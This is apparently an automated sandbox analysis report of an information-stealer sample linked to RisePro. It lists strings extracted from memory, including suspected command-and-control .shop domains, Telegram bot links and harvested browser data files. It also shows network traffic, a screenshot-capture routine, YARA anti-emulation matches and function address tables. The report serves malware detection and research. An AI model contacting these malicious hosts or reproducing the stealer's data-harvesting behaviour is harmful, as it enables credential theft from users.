Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 0000002D.00000002.1894402221.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://falseaudiencekd.shop/api
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://falseaudiencekd.shop/e?
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://feighminoritsjda.shop/
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1945728277.00000000015C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1945728277.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 0000002C.00000002.1945728277.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/#
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/=s
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.1911199753.0000000001524000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: RegAsm.exe, 0000000E.00000002.1910899704.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/d
Source: 1kBeqS7E3z.exe, 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, JNXEsB3lt_ta57yvH0nX.exe, 0000000B.00000002.1855690126.0000000000068000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000C.00000002.1889587614.0000000000A48000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 00000010.00000002.1932454219.0000000000A48000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.00000000015FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1945728277.00000000015BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33o98
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: RegAsm.exe, 0000001F.00000002.1850230800.0000000001124000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1894402221.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://justifycanddidatewd.shop/
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://justifycanddidatewd.shop/api
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://justifycanddidatewd.shop/apiK3
Source: RegAsm.exe, 0000001F.00000002.1850230800.0000000001124000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://justifycanddidatewd.shop/apie
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marathonbeedksow.shop/
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raiseboltskdlwpow.shop/
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raiseboltskdlwpow.shop/api
Source: RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://richardflorespoew.shop/
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://richardflorespoew.shop/P?
Source: RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://richardflorespoew.shop/T
Source: RegAsm.exe, 0000001F.00000002.1850230800.0000000001124000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.1850230800.000000000111B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1894402221.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://richardflorespoew.shop/api
Source: EWDN0G9BRDazVJeatNlA.exe, 00000016.00000002.1855823531.0000000000778000.00000004.00000001.01000000.00000009.sdmp, MSIUpdaterV168.exe, 00000021.00000002.1878372418.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, MSIUpdaterV168.exe, 00000022.00000002.1917031958.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, RegAsm.exe, 0000002B.00000002.4148163051.0000000000415000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199699680841
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strwawrunnygjwu.shop/
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strwawrunnygjwu.shop/4
Source: RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strwawrunnygjwu.shop/api
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://support.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp, kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp, kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.d
Source: RegAsm.exe, 00000017.00000002.4149119694.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: RegAsm.exe, 0000000E.00000002.1910899704.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1945728277.000000000158A000.00000004.00000020.00020000.00000000.sdmp, U4XS0oCaLxVS1ZKFaAUvhYs.zip.3.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: RegAsm.exe, 00000017.00000002.4149119694.0000000001141000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp, MSIUpdaterV168.exe, 00000021.00000002.1878372418.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, MSIUpdaterV168.exe, 00000022.00000002.1917031958.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, RegAsm.exe, 0000002B.00000002.4148163051.0000000000415000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/memve4erin
Source: RegAsm.exe, 00000017.00000002.4149119694.0000000001141000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/memve4erinB
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.3.dr	String found in binary or memory: https://t.me/risepro_bot
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot33
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot:
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botg
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botrisepro
Source: RegAsm.exe, 00000017.00000002.4149119694.0000000001141000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, Firefox_fqs92o4p.default-release.txt.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.1876578263.0000000005752000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.3.dr, D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, Firefox_fqs92o4p.default-release.txt.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.1876578263.0000000005752000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.3.dr, D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/txt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49781 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004E5FF0 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,DeleteObject,GdipDisposeImage,DeleteObject,ReleaseDC,GdiplusShutdown,

3_2_004E5FF0

System Summary

Malicious sample detected (through community Yara rule)

Source: 43.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 22.2.EWDN0G9BRDazVJeatNlA.exe.740000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 33.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 34.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B468F6	0_2_00B468F6
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B41AC3	0_2_00B41AC3
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B43A70	0_2_00B43A70
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B35C90	0_2_00B35C90
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B56C34	0_2_00B56C34
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B4FECD	0_2_00B4FECD
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B3C7E0	0_2_00B3C7E0
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B4BFC9	0_2_00B4BFC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044002D	3_2_0044002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C00A0	3_2_004C00A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004A6250	3_2_004A6250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004AA200	3_2_004AA200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A2C0	3_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0050A2B0	3_2_0050A2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004BE3C0	3_2_004BE3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004963B0	3_2_004963B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004DE430	3_2_004DE430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004B84D0	3_2_004B84D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004FA480	3_2_004FA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00514550	3_2_00514550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00490600	3_2_00490600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004E06D0	3_2_004E06D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004986B0	3_2_004986B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004A88B0	3_2_004A88B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004FA930	3_2_004FA930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004E4BD0	3_2_004E4BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004FAD00	3_2_004FAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0049AF60	3_2_0049AF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004DF030	3_2_004DF030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0049F0D0	3_2_0049F0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0049D3A0	3_2_0049D3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0053F550	3_2_0053F550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004B3600	3_2_004B3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D7600	3_2_004D7600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004B1630	3_2_004B1630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00495790	3_2_00495790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B8E0	3_2_0040B8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0048BAC8	3_2_0048BAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004ADB20	3_2_004ADB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00481C10	3_2_00481C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409C90	3_2_00409C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F7D00	3_2_004F7D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00493F40	3_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C1F20	3_2_004C1F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005220D0	3_2_005220D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F60E0	3_2_004F60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004EE170	3_2_004EE170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0048611D	3_2_0048611D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044036F	3_2_0044036F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004A4320	3_2_004A4320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F0450	3_2_004F0450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004845E0	3_2_004845E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F85F0	3_2_004F85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004547BF	3_2_004547BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F2820	3_2_004F2820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043C960	3_2_0043C960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00546970	3_2_00546970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043A928	3_2_0043A928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F8B40	3_2_004F8B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00458BB0	3_2_00458BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004EEC40	3_2_004EEC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00534D40	3_2_00534D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00546D20	3_2_00546D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0053AE20	3_2_0053AE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00458E30	3_2_00458E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00506EA0	3_2_00506EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00516EA0	3_2_00516EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004ECF20	3_2_004ECF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F2FD0	3_2_004F2FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00493080	3_2_00493080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004371A0	3_2_004371A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005031A0	3_2_005031A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004A9380	3_2_004A9380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D1450	3_2_004D1450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042F580	3_2_0042F580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004A3610	3_2_004A3610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CF6F0	3_2_004CF6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00547760	3_2_00547760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F7730	3_2_004F7730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004E77E0	3_2_004E77E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005397B0	3_2_005397B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F7960	3_2_004F7960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0047B970	3_2_0047B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004EF9A0	3_2_004EF9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CBAC0	3_2_004CBAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044DA86	3_2_0044DA86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051DBB0	3_2_0051DBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004EFC40	3_2_004EFC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F7C00	3_2_004F7C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00503CC0	3_2_00503CC0
